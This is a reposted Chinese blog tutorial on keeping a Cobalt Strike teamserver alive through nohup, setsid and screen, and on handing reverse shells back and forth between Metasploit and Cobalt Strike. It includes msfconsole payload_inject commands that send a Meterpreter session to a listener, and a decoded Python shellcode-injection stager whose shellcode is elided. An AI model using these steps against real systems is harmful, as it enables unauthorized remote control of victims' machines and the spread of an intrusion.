zoukankan      html  css  js  c++  java
  • Cobaltstrike Server持久化 & Cobaltstrike与Metasploit相互派生shell

    CS 远控一直很给力的,之前搞的和 MSF结合使用效果不错。。。时间长了没用了,忘记了。。。。

    先知上看到了,就收藏一下。。。

    Cobaltstrike teamserver持久化

    由于我们在终端中的操作都属于SSH进程的子进程,当网络中断或SSH连接断开时,终端会收到HUP(hangup)信号从而关闭所有子进程。为了使Cobaltstrike的服务端保持唤醒,我们需要:

    1. 让进程忽略HUP信号;
    2. 让进程运行在新的会话里,成为不属于此终端的子进程。

    一般来说,第一种思路可以nohup命令实现,结尾加上"&"可将命令放入后台运行:

    [root@Fazx ~]# nohup ping 0sec.com.cn &
    [1] 3059
    nohup: appending output to `nohup.out'
    [root@Fazx ~]# ps -ef | grep 3059
    root      3059   984  0 21:06 pts/3    00:00:00 ping 0sec.com.cn

    第二种思路则对应setsid命令:

    [root@Fazx ~]# setsid ping 0sec.com.cn
    [root@Fazx ~]# ps -ef | grep 0sec.com.cn
    root     31094     1  0 20:28 ?        00:00:00 ping 0sec.com.cn

    可以看到进程ID(PID)为31094,而它的父ID(PPID)为1(即init进程ID),并不是当前终端的进程ID。

    此外,将命令与&放在()中执行也可以实现setsid相同的效果:

    [root@Fazx ~]# (ping 0sec.com.cn &)
    [root@Fazx ~]# ps -ef | grep 0sec.com.cn
    root     3998     1  0 20:37 pts/4    00:00:00 ping 0sec.com.cn

    而为了避免大量命令的重复操作,或某一条命令忘记附加命令等情况,本文重点推荐使用screen工具实现需求,它可以方便地模拟出多个终端窗口,并将所有进程挂到init的子进程(即思路2)。话不多说来看操作:

    # 首先安装screen
    apt-get install screen

    输入screen新建一个窗口,在此窗口中直接正常输入命令,完成后使用Ctrl+A+D组合键将窗口放入后台执行,可以看到有会话为脱离状态:

    使用screen -ls查看后台窗口,screen -r ID恢复指定会话:

    screen -r 14662

    同样的,Metasploit监听端口等待反弹shell时,也可以用这种方式进行持久化,操作相对于nohup要方便得多。

    MSF派生shell给Cobaltstrike

    获取MSF shell、建立session后在meterpreter执行background将会话放到后台,切换payload。

    拥有MSF shell的攻击机与搭建Cobaltstrike的服务端不需要是同一台主机,端口相通即可实现远程派生shell。

    msf exploit(handler) >  use exploit/windows/local/payload_inject
    msf exploit(payload_inject) > set PAYLOAD windows/meterpreter/reverse_http
    msf exploit(payload_inject) > set DisablePayloadHandler true
    msf exploit(payload_inject) > set LHOST [Listener监听IP]
    msf exploit(payload_inject) > set LPORT [Listener监听端口]
    msf exploit(payload_inject) > set SESSION [session ID]
    msf exploit(payload_inject) > exploit

    配置set DisablePayloadHandler true的原因是payload_inject执行之后会在本地产生一个新的handler,而我们之前已经有了一个,不需要再生成。

    多个session同时建立时可以列举所有session并按需选择想要派生的shell:

    CS端配置如下监听器:

    windows/beacon_http/reverse_http

    CS端肉鸡上线成功:

    Cobaltstrike派生shell给MSF

    在CS获得一个beacon shell后,配置监听器

    windows/foreign/reverse_tcp

    注意由于要与之后MSF的windows/meterpreter/reverse_tcp配置保持一致,这里是reverse_tcp而不再是reverse_http,同样的,配置IP与端口也应与MSF的监听保持一致。

    提前在MSF设置exploit/multi/handler对反向TCP连接的监听,这一步比较常规不再赘述。对需要派生的目标右击选择Spawn,之后选择对应的监听器。

    另一端MSF稍后即获取到shell连接,获得Meterpreter会话:

    后话

    有什么需要派生shell的场景呢?首先CS虽然强大但用于攻击的载荷模块并不如MSF丰富,可参考的资料也较少,此时需要MSF接手shell继续进行后续渗透流程;其次CS的肉鸡类型主要支持Windows平台,payload也面向Windows,这一点我们可以查看CS生成的Scripted Web Delivery中python类型的载荷,解码后如下(略去shellcode):

    import ctypes
    import platform
    
    (arch, type) = platform.architecture()
    
    # 32-bit Python
    if arch == "32bit":
        shellcode = "xxxx"
    
    # 64-bit Python
    elif arch == "64bit":
        shellcode = "xxxx" 
    else:
        shellcode = ""
    
    # sanity check our situation
    if type != "WindowsPE" or len(shellcode) == 0:
        quit()
    
    # inject our shellcode
    rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode), 0x1000, 0x40)
    ctypes.windll.kernel32.RtlMoveMemory(rwxpage, ctypes.create_string_buffer(shellcode), len(shellcode))
    handle = ctypes.windll.kernel32.CreateThread(0, 0, rwxpage, 0, 0, 0)
    ctypes.windll.kernel32.WaitForSingleObject(handle, -1)

    可以看到攻击代码中判断了WindowsPE,也就只能直接获取Windows shell。但通过派生shell我们可以使用MSF针对Linux的攻击载荷,获取Linux权限后接管到CS平台,从而拓展了团队协作渗透的广度与深度。


    Cobaltstrike核心的功能还是后渗透阶段,免杀、内网中的横向移动、内网转发、C2配置文件等,后续的文章也会围绕这些内容进行展开。

    写本文时值万圣节,Metasploit也更换了主题banner:

  • 相关阅读:
    Oracle Spool详解
    转自云界漫步:同步容灾100公里的限制来自哪里
    中国十大基金公司排行榜
    DataGuard体系结构
    SWIFT国际资金清算系统
    linux -- 命令大全
    bootstrap -- css -- 图片
    bootstrap -- css -- 按钮
    bootstrap -- css -- 表单控件
    bootstrap -- css -- 表单
  • 原文地址:https://www.cnblogs.com/anbuxuan/p/11866048.html
Copyright © 2011-2022 走看看